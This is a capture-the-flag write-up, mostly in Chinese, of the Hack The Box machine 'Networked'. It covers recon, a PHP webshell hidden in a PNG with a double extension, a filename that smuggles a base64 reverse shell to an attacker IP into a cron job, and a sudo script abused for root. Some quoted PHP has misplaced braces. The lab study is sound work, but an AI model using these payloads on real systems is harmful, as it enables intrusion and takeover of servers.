Networked

TelBo_on published on
3 min, 454 words

Categories: OSCP

Recon

Ports

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-17 20:48 +08
Nmap scan report for 10.129.115.24
Host is up (0.11s latency).

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.39 seconds

Direnum
 dirsearch -u http://10.129.115.24/ 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kalier/Hackthebox/Networked/reports/http_10.129.115.24/__25-06-17_20-57-25.txt

Target: http://10.129.115.24/

[20:57:25] Starting: 
[20:57:34] 403 -  213B  - /.ht_wsr.txt
[20:57:34] 403 -  216B  - /.htaccess.bak1
[20:57:34] 403 -  218B  - /.htaccess.sample
[20:57:34] 403 -  216B  - /.htaccess.orig
[20:57:34] 403 -  216B  - /.htaccess.save
[20:57:34] 403 -  217B  - /.htaccess_extra
[20:57:34] 403 -  216B  - /.htaccess_orig
[20:57:34] 403 -  214B  - /.htaccess_sc
[20:57:34] 403 -  214B  - /.htaccessOLD
[20:57:34] 403 -  214B  - /.htaccessBAK
[20:57:34] 403 -  215B  - /.htaccessOLD2
[20:57:34] 403 -  206B  - /.htm
[20:57:34] 403 -  207B  - /.html
[20:57:34] 403 -  216B  - /.htpasswd_test
[20:57:34] 403 -  212B  - /.htpasswds
[20:57:34] 403 -  213B  - /.httr-oauth
[20:57:54] 301 -  236B  - /backup  ->  http://10.129.115.24/backup/         
[20:57:55] 200 -  885B  - /backup/                                          
[20:57:57] 403 -  210B  - /cgi-bin/                                         
[20:58:20] 200 -    1KB - /photos.php                                       
[20:58:34] 200 -  169B  - /upload.php                                       
[20:58:35] 301 -  237B  - /uploads  ->  http://10.129.115.24/uploads/       
[20:58:35] 200 -    2B  - /uploads/                                         
                                                                   
Task Completed
web port 80
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

存在上传路径upload

<form action="/upload.php" method="post" enctype="multipart/form-data">
 <input type="file" name="myFile">
 <br>
<input type="submit" name="submit" value="go!">
</form>

目录backup下存在backup.tar。

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[PARENTDIR] Parent Directory                       -
[ ]         backup.tar         2019-07-09 13:33  10K
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

下载下来,是网站的源码。 lib.php主要存放一些工具函数。

<?php   
//取得文件名,返回文件名和文件后缀的数组。
function getnameCheck($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  #echo "name $name - ext $ext\n";
  return array($name,$ext);                               
}                                
//将文件名中的_改为.返回改后的文件名和后缀。
function getnameUpload($filename) {        
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}                                                         
//检查ip是否为有效IP。
function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";                               
  $ret = true;                    
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;                              
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";                                                
  } else {
    $msg = $filename;
  }
  return array($ret,$msg); 

//检查文件MIME_TYPE,也就是文件头是否为mime数据库。
function file_mime_type($file) {                          
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {                               
}
	$finfo = finfo_open(FILEINFO_MIME);   
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system                                                                                                 
    {    
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {              
        $file_type = $matches[1];                         
        return $file_type;                
      }
    }                                                                                                                
  }                                                       
  if (function_exists('mime_content_type'))
  {                 
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string           
    {                             
      return $file_type;           
    }                         
  }                                  
  return $file['type'];       
}                                 
//检查mime-type 请求头                                                       
function check_file_type($file) {
  $mime_type = file_mime_type($file);                     
  if (strpos($mime_type, 'image/') === 0) {
      return true;                 
  } else {                    
      return false;                  
  }                           
}    

function displayform() {                                  
?>                                    
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">                      
 <input type="file" name="myFile">
 <br>                                              
<input type="submit" name="submit" value="go!">
</form>                                                                                                              
<?php     
  exit();            
}  
                                                         
?> 

upload.php

<?php
require '/var/www/html/lib.php';
                                                          
define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
  if (!empty($_FILES["myFile"])) {
    $myFile = $_FILES["myFile"];
//检查文件大小 < 60000 ~= 50kb
    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform(); 
    }

    if ($myFile["error"] !== UPLOAD_ERR_OK) {
        echo "<p>An error occurred.</p>";
        displayform();
        exit;
    }
//检查文件后缀,需为validaxt中的后缀。
    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
    list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
    //这里注意,-strlen($vext) 从后缀最后往前读取,读取$vext的长度大小,与$vext进行比较    //允许多重后缀。.php.png。
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

    if (!($valid)) {
      echo "<p>Invalid image file</p>";
      displayform();
      exit;
    }
    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

    $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
    if (!$success) {
        echo "<p>Unable to save file.</p>";
        exit;
    }
    echo "<p>file uploaded, refresh gallery</p>";

    // set proper permissions on the new file
    chmod(UPLOAD_DIR . $name, 0644);
  }
} else {
  displayform();
}
?>

进行文件上传测试。结合代码审计时得知允许上传多重后缀,进行尝试。 构造PNG文件头,插入php payload。写入文件头构造最小化图片文件后插入payload。

echo -ne '\x89PNG\r\n\x1a\n<?php system($_GET["exec"]); ?>' > shell.png.php
or
magick convert -size 100x100 xc:blue small.png
echo -ne '\n\nstart\n\n<?php system($_GET["exec"]); ?>\nend\n\n\n' >> small.png

上传后访问相关文件,记得补全后缀:.php.png。php代码未显示,可能是被解析了。 尝试: 得到webshell,url编码后进行反弹shell。

listening on [any] 4444 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.115.24] 46142
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ uname -a
uname -a
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

在用户家目录下发现:

sh-4.2$ ls -al
ls -al
total 84
drwxr-xr-x. 2 guly guly  4096 Jun 17 11:17 .
drwxr-xr-x. 3 root root    18 Jul  2  2019 ..
lrwxrwxrwx. 1 root root     9 Sep  7  2022 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly    18 Oct 30  2018 .bash_logout
-rw-r--r--. 1 guly guly   193 Oct 30  2018 .bash_profile
-rw-r--r--. 1 guly guly   231 Oct 30  2018 .bashrc
-r--r--r--. 1 root root   782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root    44 Oct 30  2018 crontab.guly
-rw-------  1 guly guly 49920 Jun 17 17:38 dead.letter
-r--------. 1 guly guly    33 Jun 17 03:25 user.txt

存在crontab.guly,类似的计划任务。

sh-4.2$ cat crontab.guly
cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php

没被三整除的分钟数里会执行同目录下的check_attack.php。 内容如下:

cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

//得到uploads目录下的所有文件,value是文件名
foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);
//如果文件名不是合理的ip地址,则:
  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    //这里直接拼接了$value。未作处理,可进行命令拼接。
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

如上分析,可在两处exec函数处进行命令注入。 在/var/www/html/uploads/创建payload如下:

cd /var/www/html/uploads
sh-4.2$ ls
ls
10_10_14_14.php.png
10_10_14_14.png
127_0_0_1.png
127_0_0_2.png
127_0_0_3.png
127_0_0_4.png
`bash exp.sh`.php
a;echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0LzQ0NDUgMD4mMQ=="| base64 -d | bash;b

得到用户Guly的shell

listening on [any] 4445 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.115.24] 52054
bash: no job control in this shell
[guly@networked ~]$ whoami
whoami
guly
[guly@networked ~]$ ls
ls
check_attack.php
crontab.guly
dead.letter
user.txt
[guly@networked ~]$ pwd
pwd
/home/guly

能sudo -l。

sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

[guly@networked ~]$ cat /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

regexp="^[a-zA-Z0-9_\ /-]+$"读取用户输入作为 NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO等的值,只能存在大小写字母、数字、空格、\、/、字符。 进行脚本功能测试。

sudo /usr/local/sbin/changename.sh                                                                                   
interface NAME:                                                                                                      
wrong input, try again                                                                                               
interface NAME:                                                                                                      
123s ss                                                                                                              
123s ss                                                                                                              
interface PROXY_METHOD:                                                                                              
d1d pwd                                                                                                              
d1d pwd                                                                                                              
interface BROWSER_ONLY:                                                                                              
asd as                                                                                                               
asd as                                                                                                               
interface BOOTPROTO:                                                                                                 
12sd asd                                                                                                             
12sd asd                                                                                                             
Netid  State      Recv-Q Send-Q Local Address:Port                 Peer Address:Port
u_str  ESTAB      0      0      /run/systemd/journal/stdout 24251                 * 24250                                                                                                                                           [0/484]
u_str  ESTAB      0      0       * 24437                 * 24438                
u_str  ESTAB      0      0       * 24250                 * 24251                
u_str  ESTAB      0      0      /run/dbus/system_bus_socket 24496                 * 24394                            
u_str  ESTAB      0      0       * 24228                 * 24229                                                     
u_str  ESTAB      0      0       * 24499                 * 24500                                                     
u_str  ESTAB      0      0      /run/systemd/journal/stdout 24344                 * 24343                            
u_str  ESTAB      0      0      /run/dbus/system_bus_socket 24497                 * 24448                            
u_str  ESTAB      0      0       * 24394                 * 24496                                                     
u_str  ESTAB      0      0       * 24494                 * 24495                
u_str  ESTAB      0      0       * 24343                 * 24344                                                     
u_str  ESTAB      0      0      /run/systemd/journal/stdout 24229                 * 24228                            
u_str  ESTAB      0      0      /run/dbus/system_bus_socket 24500                 * 24499 

在输入空格后居然运行了系统命令ss。那结果显而易见:/bin/bash

sudo /usr/local/sbin/changename.sh                                                                                   
interface NAME:                                                                                                      
id /bin/bash                                                                                                         
interface PROXY_METHOD:                                                                                              
asd                                                                                                                  
interface BROWSER_ONLY:                                                                                              
whoami                                                                                                               
interface BOOTPROTO:                                                                                                 
fine asd                                                                                                     
whoami                                                                             root   
/bin/script -qc /bin/bash /dev/null
[root@networked network-scripts]# ss
Netid  State      Recv-Q Send-Q Local Address:Port                 Peer Address:Port                
u_str  ESTAB      0      0      /run/systemd/journal/stdout 24251                 * 24250                
u_str  ESTAB      0      0       * 24437                 * 24438                
u_str  ESTAB      0      0       * 24250                 * 2425
....snap.....

Summary

主要是对文件上传功能点的源代码审计,得到代码漏洞缺陷进行利用。 用户shell也是对脚本文件进行审计,找出隐藏的命令注入点。 root shell是在脚本运行时进行测试。发现空格后的输入会被作为系统命令执行。至于原因,我找到了这个。 至于为什么双后缀能被解析,我在配置文件中发现:AddHandler php5-script .php只要存在.php后缀就会对文件进行解析。

[root@networked httpd]# cd conf.d
[root@networked conf.d]# ls
autoindex.conf  php.conf  README  userdir.conf  welcome.conf
[root@networked conf.d]# cat php.conf
AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"